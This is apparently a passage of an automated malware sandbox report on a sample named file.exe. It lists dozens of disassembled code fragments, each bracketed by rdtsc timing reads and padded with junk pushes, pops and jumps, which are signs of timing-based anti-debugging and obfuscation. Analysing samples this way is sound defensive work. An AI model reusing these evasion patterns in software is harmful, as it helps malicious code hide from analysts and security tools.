Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7576BE second address: 75770E instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F2BE511FAE6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop ecx 0x0000000b mov dword ptr [esp], eax 0x0000000e mov dword ptr [ebp+122D1864h], eax 0x00000014 cld 0x00000015 lea eax, dword ptr [ebp+1248AEFEh] 0x0000001b push 00000000h 0x0000001d push eax 0x0000001e call 00007F2BE511FAE8h 0x00000023 pop eax 0x00000024 mov dword ptr [esp+04h], eax 0x00000028 add dword ptr [esp+04h], 00000015h 0x00000030 inc eax 0x00000031 push eax 0x00000032 ret 0x00000033 pop eax 0x00000034 ret 0x00000035 mov ecx, dword ptr [ebp+122D1885h] 0x0000003b jc 00007F2BE511FAECh 0x00000041 sbb edi, 65EC00C3h 0x00000047 push eax 0x00000048 pushad 0x00000049 push eax 0x0000004a push edx 0x0000004b pushad 0x0000004c popad 0x0000004d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 75770E second address: 757748 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 pop eax 0x00000009 jmp 00007F2BE511B135h 0x0000000e popad 0x0000000f popad 0x00000010 mov dword ptr [esp], eax 0x00000013 mov dword ptr [ebp+122D18CDh], eax 0x00000019 lea eax, dword ptr [ebp+1248AEBAh] 0x0000001f mov dword ptr [ebp+122D1810h], edi 0x00000025 nop 0x00000026 pushad 0x00000027 pushad 0x00000028 push eax 0x00000029 push edx 0x0000002a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 783BE4 second address: 783BE9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 783D2F second address: 783D33 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7840CD second address: 7840D2 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 784201 second address: 784209 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7897F1 second address: 7897F6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7897F6 second address: 7897FF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 push ecx 0x00000006 pop ecx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 789A7C second address: 789A97 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jmp 00007F2BE511FAF3h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 789C0C second address: 789C27 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F2BE511B137h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 789C27 second address: 789C3B instructions: 0x00000000 rdtsc 0x00000002 ja 00007F2BE511FAE6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push ebx 0x0000000b ja 00007F2BE511FAE6h 0x00000011 push ebx 0x00000012 pop ebx 0x00000013 pop ebx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 789C3B second address: 789C54 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F2BE511B135h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 78A095 second address: 78A09B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 78A384 second address: 78A388 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 78A388 second address: 78A38E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 78A38E second address: 78A3B1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jmp 00007F2BE511B136h 0x0000000a jng 00007F2BE511B126h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 78A4DF second address: 78A4F8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 js 00007F2BE511FAECh 0x0000000b jno 00007F2BE511FAE6h 0x00000011 push eax 0x00000012 push edx 0x00000013 jbe 00007F2BE511FAE6h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 792785 second address: 7927BF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F2BE511B137h 0x00000009 jmp 00007F2BE511B139h 0x0000000e popad 0x0000000f pop ebx 0x00000010 pushad 0x00000011 push esi 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7927BF second address: 7927C5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7927C5 second address: 792807 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pushad 0x00000006 jmp 00007F2BE511B134h 0x0000000b jc 00007F2BE511B126h 0x00000011 popad 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007F2BE511B12Fh 0x00000019 jmp 00007F2BE511B130h 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 792F31 second address: 792F46 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2BE511FAEBh 0x00000007 ja 00007F2BE511FAECh 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79CDD6 second address: 79CDEC instructions: 0x00000000 rdtsc 0x00000002 jc 00007F2BE511B12Eh 0x00000008 pushad 0x00000009 popad 0x0000000a js 00007F2BE511B126h 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 popad 0x00000014 pushad 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A1062 second address: 7A1068 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A1068 second address: 7A106C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A106C second address: 7A1098 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F2BE511FAE6h 0x00000008 push esi 0x00000009 pop esi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push edi 0x0000000d jp 00007F2BE511FAE6h 0x00000013 pop edi 0x00000014 push eax 0x00000015 push edx 0x00000016 jmp 00007F2BE511FAF6h 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A1098 second address: 7A10DF instructions: 0x00000000 rdtsc 0x00000002 jp 00007F2BE511B126h 0x00000008 jmp 00007F2BE511B136h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 jmp 00007F2BE511B131h 0x00000018 pop eax 0x00000019 push esi 0x0000001a push esi 0x0000001b pop esi 0x0000001c jmp 00007F2BE511B12Dh 0x00000021 pop esi 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A10DF second address: 7A10E5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A10E5 second address: 7A10E9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A123A second address: 7A123E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A123E second address: 7A1252 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 js 00007F2BE511B126h 0x0000000e jnc 00007F2BE511B126h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A1252 second address: 7A1256 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A1256 second address: 7A1266 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 jo 00007F2BE511B157h 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A1266 second address: 7A1277 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 ja 00007F2BE511FAE6h 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A1529 second address: 7A152D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A152D second address: 7A1542 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2BE511FAF1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A1870 second address: 7A1875 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 756F1E second address: 756FD0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push eax 0x00000006 jnl 00007F2BE511FAF8h 0x0000000c nop 0x0000000d push 00000000h 0x0000000f push ebx 0x00000010 call 00007F2BE511FAE8h 0x00000015 pop ebx 0x00000016 mov dword ptr [esp+04h], ebx 0x0000001a add dword ptr [esp+04h], 0000001Dh 0x00000022 inc ebx 0x00000023 push ebx 0x00000024 ret 0x00000025 pop ebx 0x00000026 ret 0x00000027 add dword ptr [ebp+122D2454h], ebx 0x0000002d mov ebx, dword ptr [ebp+1248AEF9h] 0x00000033 mov edx, dword ptr [ebp+122D1BB1h] 0x00000039 add eax, ebx 0x0000003b mov dword ptr [ebp+1245780Ch], edi 0x00000041 push eax 0x00000042 jmp 00007F2BE511FAF8h 0x00000047 mov dword ptr [esp], eax 0x0000004a je 00007F2BE511FAEBh 0x00000050 mov ecx, 7B10FB91h 0x00000055 push 00000004h 0x00000057 push 00000000h 0x00000059 push edi 0x0000005a call 00007F2BE511FAE8h 0x0000005f pop edi 0x00000060 mov dword ptr [esp+04h], edi 0x00000064 add dword ptr [esp+04h], 00000017h 0x0000006c inc edi 0x0000006d push edi 0x0000006e ret 0x0000006f pop edi 0x00000070 ret 0x00000071 mov edi, dword ptr [ebp+122D3646h] 0x00000077 nop 0x00000078 push eax 0x00000079 push edx 0x0000007a push ebx 0x0000007b push eax 0x0000007c push edx 0x0000007d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 756FD0 second address: 756FD5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A19CB second address: 7A19D1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A19D1 second address: 7A19D6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A19D6 second address: 7A19E2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jp 00007F2BE511FAE6h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A19E2 second address: 7A19E6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A65A3 second address: 7A65A7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A5893 second address: 7A589E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A589E second address: 7A58CC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 js 00007F2BE511FAEAh 0x0000000b push eax 0x0000000c pop eax 0x0000000d push edx 0x0000000e pop edx 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 jo 00007F2BE511FAFCh 0x00000018 jmp 00007F2BE511FAF6h 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A5B52 second address: 7A5B59 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A5B59 second address: 7A5B66 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push ecx 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A5F69 second address: 7A5F6F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A5F6F second address: 7A5F75 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A8DC4 second address: 7A8DC8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A8F19 second address: 7A8F1F instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A8F1F second address: 7A8F3B instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 jmp 00007F2BE511B12Eh 0x00000008 jnl 00007F2BE511B126h 0x0000000e pop esi 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A8F3B second address: 7A8F41 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A8F41 second address: 7A8F4B instructions: 0x00000000 rdtsc 0x00000002 jno 00007F2BE511B126h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A9097 second address: 7A90A5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F2BE511FAEAh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7AF96A second address: 7AF96E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7AF96E second address: 7AF980 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F2BE511FAE6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a js 00007F2BE511FAECh 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7AF980 second address: 7AF984 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7AF984 second address: 7AF9A7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jne 00007F2BE511FAE6h 0x0000000a jmp 00007F2BE511FAF9h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7AF9A7 second address: 7AF9C1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b pushad 0x0000000c popad 0x0000000d ja 00007F2BE511B126h 0x00000013 popad 0x00000014 push eax 0x00000015 push edx 0x00000016 push esi 0x00000017 pop esi 0x00000018 push ebx 0x00000019 pop ebx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7AF9C1 second address: 7AF9CB instructions: 0x00000000 rdtsc 0x00000002 jng 00007F2BE511FAE6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7AFEAE second address: 7AFED0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2BE511B12Ah 0x00000007 jng 00007F2BE511B126h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push ebx 0x00000010 jns 00007F2BE511B126h 0x00000016 js 00007F2BE511B126h 0x0000001c pop ebx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7AFED0 second address: 7AFED5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7AFED5 second address: 7AFEDF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pushad 0x00000006 push ebx 0x00000007 pop ebx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7B0457 second address: 7B0471 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F2BE511FAF6h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7B0471 second address: 7B0491 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F2BE511B134h 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7B0491 second address: 7B0495 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7B0495 second address: 7B049B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7B1506 second address: 7B155F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007F2BE511FAF3h 0x0000000b pushad 0x0000000c pushad 0x0000000d popad 0x0000000e jmp 00007F2BE511FAEBh 0x00000013 jo 00007F2BE511FAE6h 0x00000019 popad 0x0000001a push eax 0x0000001b jmp 00007F2BE511FAF6h 0x00000020 jmp 00007F2BE511FAEDh 0x00000025 pop eax 0x00000026 popad 0x00000027 pushad 0x00000028 push eax 0x00000029 push edx 0x0000002a push edi 0x0000002b pop edi 0x0000002c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7B155F second address: 7B156D instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F2BE511B126h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push ebx 0x0000000d pop ebx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7B156D second address: 7B1594 instructions: 0x00000000 rdtsc 0x00000002 je 00007F2BE511FAE6h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jmp 00007F2BE511FAF6h 0x00000011 pushad 0x00000012 push ebx 0x00000013 pop ebx 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7B1594 second address: 7B159A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7B6412 second address: 7B6435 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 jmp 00007F2BE511FAF5h 0x00000008 pop esi 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d jo 00007F2BE511FAE6h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7B65AD second address: 7B65B7 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F2BE511B126h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7B68B5 second address: 7B68BB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7B68BB second address: 7B68BF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7B68BF second address: 7B68E3 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 jmp 00007F2BE511FAF2h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c pushad 0x0000000d popad 0x0000000e pushad 0x0000000f popad 0x00000010 jno 00007F2BE511FAE6h 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7B68E3 second address: 7B6923 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F2BE511B133h 0x00000008 jmp 00007F2BE511B12Bh 0x0000000d push edx 0x0000000e pop edx 0x0000000f jp 00007F2BE511B139h 0x00000015 jmp 00007F2BE511B133h 0x0000001a pop edx 0x0000001b pop eax 0x0000001c push ecx 0x0000001d jnc 00007F2BE511B12Ch 0x00000023 pushad 0x00000024 push eax 0x00000025 push edx 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7B6923 second address: 7B6929 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7B6BDD second address: 7B6BFF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F2BE511B135h 0x0000000c jnp 00007F2BE511B126h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7B6BFF second address: 7B6C03 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C1D82 second address: 7C1D8C instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C1D8C second address: 7C1D92 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C1D92 second address: 7C1D96 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C1D96 second address: 7C1DA6 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F2BE511FAE6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C1DA6 second address: 7C1DB4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jbe 00007F2BE511B126h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C1DB4 second address: 7C1DB9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C1DB9 second address: 7C1DBE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C1DBE second address: 7C1DC4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C2581 second address: 7C2592 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007F2BE511B126h 0x0000000a pop edi 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C2592 second address: 7C2596 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C2596 second address: 7C25B0 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F2BE511B126h 0x00000008 push eax 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jne 00007F2BE511B12Eh 0x00000012 rdtsc
